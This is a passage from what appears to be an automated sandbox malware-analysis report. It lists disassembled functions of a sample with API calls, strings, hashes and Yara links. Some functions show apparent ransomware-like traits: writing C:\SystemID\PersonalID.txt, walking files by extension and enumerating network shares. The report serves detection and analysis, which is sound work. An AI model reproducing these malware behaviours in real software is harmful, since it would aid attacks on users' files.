Opcode Fuzzy Hash: bad3609ad615ec0fe5f5379fd9a4335ddd94e9fd1592faa856105229702b452d
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b7d04aaf57e2c38a629a4b8fb192307efab073ba7f3b957db105f9608cfaa5d8
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b7d04aaf57e2c38a629a4b8fb192307efab073ba7f3b957db105f9608cfaa5d8
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008B0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: be46dd26feb53539181879275dd2331845889927b108b084fdb43cd894a3e3ad
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: be46dd26feb53539181879275dd2331845889927b108b084fdb43cd894a3e3ad
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 00413A90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413B0A

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Strings

vector<T> too long, xrefs: 00413B00

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID: vector<T> too long
API String ID: 657562460-3788999226
Opcode ID: 0ad4a0ca8fdadbc1a12cf66a996cd1011d67085deb4d362cb70db5a7c32d017b
Instruction ID: 58ba692ce99c870a1dcba0d104e91e6c126768a8e2c2fae69a1ad948a11fc536
Opcode Fuzzy Hash: 0ad4a0ca8fdadbc1a12cf66a996cd1011d67085deb4d362cb70db5a7c32d017b
Instruction Fuzzy Hash: F401F171200705ABD720CFACC09068BFBE8AF80725F20853FEA5583381EBB5E944C784

Uniqueness

Uniqueness Score: -1.00%

Function 00454C00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00454AE0: GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
Part of subcall function 00454AE0: GetFileType.KERNEL32(00000000), ref: 00454B05
Part of subcall function 00454AE0: __vfwprintf_p.LIBCMT ref: 00454B27

_raise.LIBCMT ref: 00454C18

Part of subcall function 0042A12E: __getptd_noexit.LIBCMT ref: 0042A16B

Part of subcall function 00427CEC: _doexit.LIBCMT ref: 00427CF6

Strings

%s(%d): OpenSSL internal error, assertion failed: %s, xrefs: 00454C0C

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: FileHandleType__getptd_noexit__vfwprintf_p_doexit_raise
String ID: %s(%d): OpenSSL internal error, assertion failed: %s
API String ID: 2149077303-4210838268
Opcode ID: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction ID: fa72e03f5863b2a05375eef283b674a1c5903e86e1e3734bc2555e426bc738f9
Opcode Fuzzy Hash: c8b60d106a6ddf9770fe8ded3b270afc7ab6773223e56d6f9ab2ba1de5c26324
Instruction Fuzzy Hash: 6FD09E795892107FED022791EC07A1E7A51AF9471CF808419F69A041A2D6768534AA5B

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD57 Relevance: 3.1, APIs: 2, Instructions: 134fileCOMMON

Download Yara Rule

APIs

PathFindExtensionW.SHLWAPI(?,00000000,-00000002,?,00000000,000000FF), ref: 0040FF4D
_wcsstr.LIBCMT ref: 0040FF7E
_wcsstr.LIBCMT ref: 0040FFC4
_wcsstr.LIBCMT ref: 0040FFEF
_wcsstr.LIBCMT ref: 0041001C
FindNextFileW.KERNEL32(?,?), ref: 0041005A
FindClose.KERNELBASE(?), ref: 0041006C

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: _wcsstr$Find$CloseExtensionFileNextPath
String ID:
API String ID: 2799698630-0
Opcode ID: 7c792f36faf161b3a50a3b1de5739d465233b155000f7204c75d28f0c9594716
Instruction ID: 5ab157793dcca273c0e587975c0a14bd2b460513ddb2d20d8000ed9fb441c990
Opcode Fuzzy Hash: 7c792f36faf161b3a50a3b1de5739d465233b155000f7204c75d28f0c9594716
Instruction Fuzzy Hash: 30519D70D00219DAEF20DF60DD457DEBBB5BF15308F4040BAD40A66291EB7A9AC9CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00423A38 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__lock_file.LIBCMT ref: 00423A7D

Part of subcall function 00420E53: __lock.LIBCMT ref: 00420E76

__fclose_nolock.LIBCMT ref: 00423A88

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction ID: e9f7363e2c125346a9344b83ccdc7017391740cbbddd1805e0fe7159b8e2b74d
Opcode Fuzzy Hash: 12bd1d3cff3597424f6cf441e7f6ef2d7829569bf8c2b731cad610acca9b362c
Instruction Fuzzy Hash: 1EF0F631B01724AAD710AF66680275E6AB46F00339F90815FE4A09A1C1CB7C87428F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042FB64 Relevance: 3.0, APIs: 2, Instructions: 17COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042FB7B

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(00000000,?,004250D7,0000000D), ref: 00428B22

__tzset_nolock.LIBCMT ref: 0042FB8E

Part of subcall function 0042FE47: __lock.LIBCMT ref: 0042FE6C
Part of subcall function 0042FE47: ____lc_codepage_func.LIBCMT ref: 0042FEB3
Part of subcall function 0042FE47: __getenv_helper_nolock.LIBCMT ref: 0042FED4
Part of subcall function 0042FE47: _free.LIBCMT ref: 0042FF07
Part of subcall function 0042FE47: _strlen.LIBCMT ref: 0042FF0E
Part of subcall function 0042FE47: __malloc_crt.LIBCMT ref: 0042FF15

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterSection____lc_codepage_func__getenv_helper_nolock__malloc_crt__mtinitlocknum__tzset_nolock_free_strlen
String ID:
API String ID: 360932542-0
Opcode ID: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction ID: e2ddc43a93f61bf79f0790849a809cb79cc8f4f227a559e0d4967367be19fad2
Opcode Fuzzy Hash: 92963a37b1ac55d125e1d9796c7b8053ccc5c5112960f7952bb2c963dcdaa470
Instruction Fuzzy Hash: 69E0BF35E41664DAD620A7A2F91B75C7570AB14329FD0D16F9110111D28EBC15C8DA2E

Uniqueness

Uniqueness Score: -1.00%

Function 00427B0B Relevance: 3.0, APIs: 2, Instructions: 7COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtCorExitProcess.LIBCMT ref: 00427B11

Part of subcall function 00427AD7: GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,?,?,?,00427B16,00000000,?,00428BCA,000000FF,0000001E,00507BD0,00000008,00428B0E,00000000,00000000), ref: 00427AE6
Part of subcall function 00427AD7: GetProcAddress.KERNEL32(?,CorExitProcess), ref: 00427AF8

ExitProcess.KERNEL32 ref: 00427B1A

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction ID: 59367741208a4d0b8125be5957acfda0e57e61d39344a7bf1a3f5abf2379cf84
Opcode Fuzzy Hash: 1085377ae278e01a80d78c7627d5840b2da43c7aca63d5a85146659919477565
Instruction Fuzzy Hash: 0DB09230404108BBCB052F52EC0A85D3F29EB003A0B408026F90848031EBB2AA919AC8

Uniqueness

Uniqueness Score: -1.00%

Function 004118C5 Relevance: 2.5, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004118DD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 004118E9

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CloseFreeHandleVirtual
String ID:
API String ID: 2443081362-0
Opcode ID: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction ID: a75cf17640dcbe18a091e0aebb8a692561bc66dfcc2ddf1384dfcaf55dfbf141
Opcode Fuzzy Hash: 361c4fcee47f9886bce79b3ac72f802e467dd4b7b05589e3f2927c820f7a912b
Instruction Fuzzy Hash: D1E08636B415049BC7209B99ECC0B9DB374F785720F20437AD919733D047352D028A58

Uniqueness

Uniqueness Score: -1.00%

Function 00416950 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004169DF

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: 8a02d42dd33a216df8cc63c6f6beba748b7d17bbcaf92180e3e70ee783765c00
Instruction ID: aa06b8048d3bf760f527e7d0bbb9ad0a08af858ba63749c6f8d7f01112261dfe
Opcode Fuzzy Hash: 8a02d42dd33a216df8cc63c6f6beba748b7d17bbcaf92180e3e70ee783765c00
Instruction Fuzzy Hash: E731E3B2A006059BCB20DF68C5816AEB7F9EF45750F21823FE856D7740DB38DD448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00416760 Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004167E6

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception
String ID:
API String ID: 120817956-0
Opcode ID: c9838848fe5c8eec5df2989d35d9b90d637aecb244023d97c053b5662a189974
Instruction ID: efb258ddcfae47249c3acbfcaa5a8e986a9cbccba7edf1416c99c2e95f316cd5
Opcode Fuzzy Hash: c9838848fe5c8eec5df2989d35d9b90d637aecb244023d97c053b5662a189974
Instruction Fuzzy Hash: B83126B1A016019FDB24DF29C5807AEBBF4EB40364F104A2EE426977C0D738DA80C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 00416570 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 004165C5

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc
String ID:
API String ID: 657562460-0
Opcode ID: e0e5a2f55fe47bad399a7528cbd0c3c4869536831e185f17c6957d537ae03e1f
Instruction ID: 5021f87c270b400a587bd724d9b61bde01bf534475f8b0cbfe068d44a909a5c2
Opcode Fuzzy Hash: e0e5a2f55fe47bad399a7528cbd0c3c4869536831e185f17c6957d537ae03e1f
Instruction Fuzzy Hash: A72124B5A00115DBCB14DF5CD981B9ABFA9EF45700F04822AEC058B348D738EA14CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 00412840 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000008,?,00000000,00000000,?), ref: 004128AA

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide_memset
String ID:
API String ID: 2800726579-0
Opcode ID: e467f8216d5a5f08293c7b5212bb2c717f3650d84b191deadb6b1d66d9828447
Instruction ID: 77d5c0c78108e6bd7b696174a76f34ed3b4c8b07ae2fa23de187fb57fd92ed49
Opcode Fuzzy Hash: e467f8216d5a5f08293c7b5212bb2c717f3650d84b191deadb6b1d66d9828447
Instruction Fuzzy Hash: 9B11D371A00219BBDB11DF59CD41BDFBBA8EF01714F10422AF914A72C0C7BD99558BDA

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA10 Relevance: 1.5, APIs: 1, Instructions: 19threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001F130,?,00000000,00000000), ref: 0041FA25

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction ID: 74150d4eedde67828055b261a2b9f98274f0c47e32cd20f87c2cefabb50f2d8a
Opcode Fuzzy Hash: 0ac00649bc9f379a6b742ea92144ce4fa1e49017590e60b2748b6a8e655e84ce
Instruction Fuzzy Hash: F1D05E322883147BE3140A9AAC06F867AC88B15B20F00403AB609DA1C0D9A1A8108A9C

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD80 Relevance: 1.5, APIs: 1, Instructions: 18windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00410BD0: WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12

SendMessageW.USER32(?,00008004,00000000,00000000), ref: 0041FDA4

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: EnumMessageOpenSend
String ID:
API String ID: 1835186980-0
Opcode ID: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction ID: f1b321f5059a27c682919cb5e20fd2d447803ac3e15b06371c74c2023cac73f2
Opcode Fuzzy Hash: 4b855248cb889363fe6aa4b9a8dd9f39f841337135063b4ce115baa5f3e43425
Instruction Fuzzy Hash: 27E02B311043406AD32097A4DC01F82BBC49F18728F00C81EF7CA6B9C1C5F1B04487ED

Uniqueness

Uniqueness Score: -1.00%

Function 0041FDC0 Relevance: 1.5, APIs: 1, Instructions: 16threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_0001FD80,?,00000000,00529230), ref: 0041FDD6

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction ID: 36d07be7825d0dd215c2e58fd0e5fada4a3bc662417c17551b787912ef620d2a
Opcode Fuzzy Hash: dcd01a2ceecdcc7afcdf07ee0c002b865cef6077f7601f89151651f24f0902f2
Instruction Fuzzy Hash: 6FD012753C9305B7E7180BA6BC47F593A989B29B00F504036F60DD92D0DAB1F4509A5C

Uniqueness

Uniqueness Score: -1.00%

Function 004220B6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 004220C1

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction ID: 292279633ce522dfb3aa62ab9f23dea9a591004ce3b356b458beb681742a1975
Opcode Fuzzy Hash: bf5cddf6cdcf292e93ea6723c994e088edc5db0ae513d1c80474abae1941b879
Instruction Fuzzy Hash: FDB0927254021C77CF012E82EC02A493B199B60764F448021FB1C181B1E6BBE66496C9

Uniqueness

Uniqueness Score: -1.00%

Function 00427F3D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

_doexit.LIBCMT ref: 00427F47

Part of subcall function 00427E0E: __lock.LIBCMT ref: 00427E1C
Part of subcall function 00427E0E: DecodePointer.KERNEL32(00507B08,0000001C,00427CFB,00000000,00000001,00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E5B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E6C
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E85
Part of subcall function 00427E0E: DecodePointer.KERNEL32(-00000004,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E95
Part of subcall function 00427E0E: EncodePointer.KERNEL32(00000000,?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427E9B
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EB1
Part of subcall function 00427E0E: DecodePointer.KERNEL32(?,00427C49,000000FF,?,00428B1A,00000011,00000000,?,004250D7,0000000D), ref: 00427EBC
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EE4
Part of subcall function 00427E0E: __initterm.LIBCMT ref: 00427EF5

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$Encode__initterm$__lock_doexit
String ID:
API String ID: 3712619029-0
Opcode ID: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction ID: a7e7560d2adc556c6fb323ffd13f600db444db9a7111c1ec19eeb8b3048b151f
Opcode Fuzzy Hash: e664eab0a2f8ce3703c552baf369986a84cdf03d3e0bf670d1975cdb5f15a4fc
Instruction Fuzzy Hash: ABB01271A8430C33DA113642FC03F053B0C4740B54F610071FA0C2C5E1A593B96040DD

Uniqueness

Uniqueness Score: -1.00%

Function 00420FDD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00420FE8

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: a3c3897a0b8e5cc1e99c40f009d05ddfac5da0d01180f44d34b11c30565e0d74
Instruction ID: 060863096896a5b816ca94ba1531ddaea04f54b188c1fa908ac11e743c0bd32b
